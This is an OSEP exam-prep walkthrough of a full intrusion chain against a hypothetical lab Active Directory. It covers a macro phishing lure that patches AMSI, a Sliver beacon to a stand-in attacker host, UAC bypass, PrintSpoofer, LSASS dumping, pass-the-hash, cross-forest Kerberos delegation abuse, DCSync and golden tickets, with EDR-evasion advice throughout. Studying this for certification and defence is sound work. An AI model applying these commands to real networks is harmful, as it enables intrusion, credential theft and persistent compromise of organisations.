OSEP full-chain walkthrough (worked example)
TL;DR: An OSEP-shaped attack: phishing payload defeats AMSI and ASR, lands a stager inside Word, hands off to a .NET loader, beacons via Cloudfront-fronted HTTPS, escalates via SeImpersonate + Print Spooler, pivots to AD, abuses constrained delegation across a forest trust, and ends with cross-forest Domain Admin. Slower and noisier than OSCP — but every step is about not getting caught. Pair with osep-roadmap and oscp-vs-osep-mindset.
The hypothetical target
| Asset | Role | Defence |
|---|---|---|
User j.davis@corp.local | Marketing | Defender for Endpoint + AppLocker default rules + Office macro blocking with internet exception |
WS01 workstation | Win11, MDE | EDR |
FILE01 server | Win2022 | EDR + auditd-equivalent telemetry |
DC01 corp.local | Forest A | trusts partner.local |
DC02 partner.local | Forest B | unconstrained delegation on a service account |
Goal: cross-forest Domain Admin in partner.local.
Stage 0 — infrastructure
- Domain:
update-news.example(Cloudfront-fronted; see domain-fronting-and-cdn-abuse). - Listener: Sliver HTTPS on origin
c2.attacker.example, exposed only via Cloudfront. - Pretext: HR phishing (annual review document).
Stage 1 — initial access (Office macro)
Document: 2026-annual-review.docx. The .docx is clean; uses template injection to fetch normal.dotm from https://update-news.example/templates/normal.dotm.
normal.dotm carries a VBA macro that:
- Patches AMSI in the host WINWORD.exe process — see amsi-bypass.
- Builds a .NET assembly in memory using
System.Reflection.Emitvia VBA → COM (DotNetToJScript pattern). - Loads a Sliver stager DLL that beacons HTTPS to
update-news.exampleevery 60s with 0.4 jitter.
Sub AutoOpen()
PatchAmsi ' xor eax,eax; ret on AmsiScanBuffer
LoadAssembly ' COM-bridge into .NET CLR, invoke Stager.Entry()
End Sub
Why this works against the lab defences:
.docxcarrier passes mail filters.- Template injection fetches the macro at open time — sandboxes that detonate the attachment up-front don’t see it.
- AMSI patch performed before any noisy string operations.
- Stager assembly is in memory only — no PE on disk, no AppLocker rule to trigger.
Stage 2 — situational awareness (assumed-breach mindset)
1
2
3
4
beacon> exec_local id
> j.davis | WS01 | corp\j.davis
> Processes: WINWORD.exe child of explorer.exe; siblings include OneDrive.exe; no debuggers attached
> Sensors: SenseService.exe (MDE), MsMpEng.exe (Defender AV)
Posture decisions:
- Don’t spawn
powershell.exefromWINWORD.exe— too obvious. - Use the existing CLR runtime for any code we run.
- Inject sideways into a long-lived legit process (e.g.
RuntimeBroker.exe).
1
beacon> migrate --pid 5832 # RuntimeBroker
Stage 3 — local privesc
j.davis is a standard user. Enumerate:
whoami /priv— hasSeImpersonatePrivilege? No (standard user).- Services with weak permissions? No.
- Cleartext creds in clipboard/history? No.
UAC misconfigured? fodhelper UAC bypass works if AlwaysNotify isn’t on:
1
beacon> execute-assembly fodhelper-bypass.exe "cmd /c whoami /priv"
After the bypass we have a high-integrity token in our process. Still not admin, but we can install our own service or scheduled task.
For local SYSTEM, we coerce the Print Spooler if the host still has it enabled (it does):
1
2
beacon> execute-assembly PrintSpoofer.exe -i -c "cmd"
# whoami → nt authority\system
Stage 4 — credential harvest on WS01
LSASS protected by PPL. Two options:
- Direct: load a vulnerable driver to disable PPL flag on lsass.exe. Loud — EDR flags BYOVD.
- Indirect: use
nanodumpto grab a clone of LSASS with a different access path; copy off; mimikatz offline.
1
2
3
4
5
beacon> execute-assembly Nanodump.exe -w l.dmp
beacon> download l.dmp
# offline:
pypykatz lsa minidump l.dmp
# → corp\admins\helpdesk : DPAPI master key recoverable
We get NetNTLMv2 hashes for several users including helpdesk who has admin on a fileshare.
Stage 5 — lateral to FILE01
Pass-the-hash with helpdesk’s NTLM:
1
beacon> exec_remote --target FILE01 --user helpdesk --hash <NT> --tool wmiexec
We avoid PsExec (signature heavy in MDE). WMI-exec lands a fresh beacon on FILE01.
Stage 6 — AD enumeration without BloodHound noise
BloodHound collection is loud (LDAP + SMB-spray). We sample selectively with SharpHound --CollectionMethods Session,LoggedOn only on hours-of-day where the user normally logs in. Or, even quieter: pull the LDAP data via Sliver’s ldap extension and run an offline BloodHound analysis.
Findings:
svc_appcacheis in theServer Operatorsgroup incorp.local(RID-cycle confirms).svc_appcachehasTrustedToAuthForDelegation(constrained delegation with protocol transition) to several SPNs on a server inpartner.local.- The trust
corp.local → partner.localis bidirectional and transitive (TGT-issuing trust).
This is the classic OSEP “constrained delegation across a forest trust” path.
Stage 7 — get svc_appcache’s TGT
svc_appcache is in our SQL-derived hash set (from earlier). With its hash we forge a TGT (S4U2Self → S4U2Proxy) to impersonate Administrator@partner.local:
1
2
3
4
# Rubeus on FILE01
beacon> execute-assembly Rubeus.exe asktgt /user:svc_appcache /rc4:<HASH> /nowrap
beacon> execute-assembly Rubeus.exe s4u /user:svc_appcache /rc4:<HASH> \
/impersonateuser:Administrator /msdsspn:cifs/srv01.partner.local /ptt
We now hold a Kerberos ticket usable as Administrator on srv01.partner.local.
Stage 8 — cross-forest landing
1
beacon> exec_remote --target srv01.partner.local --auth kerberos --tool wmiexec
On srv01.partner.local we are local admin. Dump LSASS (same Nanodump path). Find a logon for partner\admins\enterprise-admin (a recent maintenance session).
Stage 9 — dump the partner KRBTGT (optional, for golden persistence)
DCSync from partner.local with the enterprise-admin hash:
1
2
beacon> execute-assembly SharpKatz.exe --Command dcsync --Domain partner.local --User krbtgt --DomainController DC02
# → krbtgt NT hash partner.local
Persistence: forge a golden ticket for partner.local with krbtgt hash. Even after the operator rotates other passwords, the golden survives until krbtgt rotates twice.
OPSEC review (what we did right)
- No
powershell.exespawned anywhere in the chain. - Every loader was .NET in-process or
execute-assemblyfrom beacon memory. - No drop of Mimikatz; used Nanodump + offline analysis.
- BloodHound collection was deferred and sampled.
- All C2 over HTTPS via Cloudfront-fronted high-rep domain; jitter on beacon.
- No SMB write to ADMIN$ for PsExec; used WMI-exec.
What this chain doesn’t show
- AV evasion engineering — assumed working tooling.
- Defender for Identity detections (sensitive group membership changes, abnormal Kerberos ticket flags).
- Long-haul C2 dwell — real engagements would beacon at 12-hour intervals over weeks.
Pivots if a stage fails
| If… | …then |
|---|---|
| Macros are blocked | container-file delivery (ISO with .lnk running regsvr32 /i scrobj) |
| Template injection blocked at egress | embed the macro directly + AMSI patch |
| Defender flags fodhelper | silentcleanup scheduled task UAC bypass |
| Print Spooler disabled | UsoSvc / WpnUserService weak permissions; or BYOVD if explicitly authorised |
| LSASS protected & nanodump caught | dump DPAPI master keys from disk + offline decryption |
| Constrained delegation not exploitable | RBCD (resource-based-constrained-delegation) via machine account quota |
| Forest trust filters SID history | child-to-forest-root via krbtgt of the child (child-to-forest-root) |
Total elapsed time
A real OSEP exam runs 48h hacking + 24h report. This chain in lab took ~20h. Most of the time is reconnaissance and evading-detection patience, not exploitation.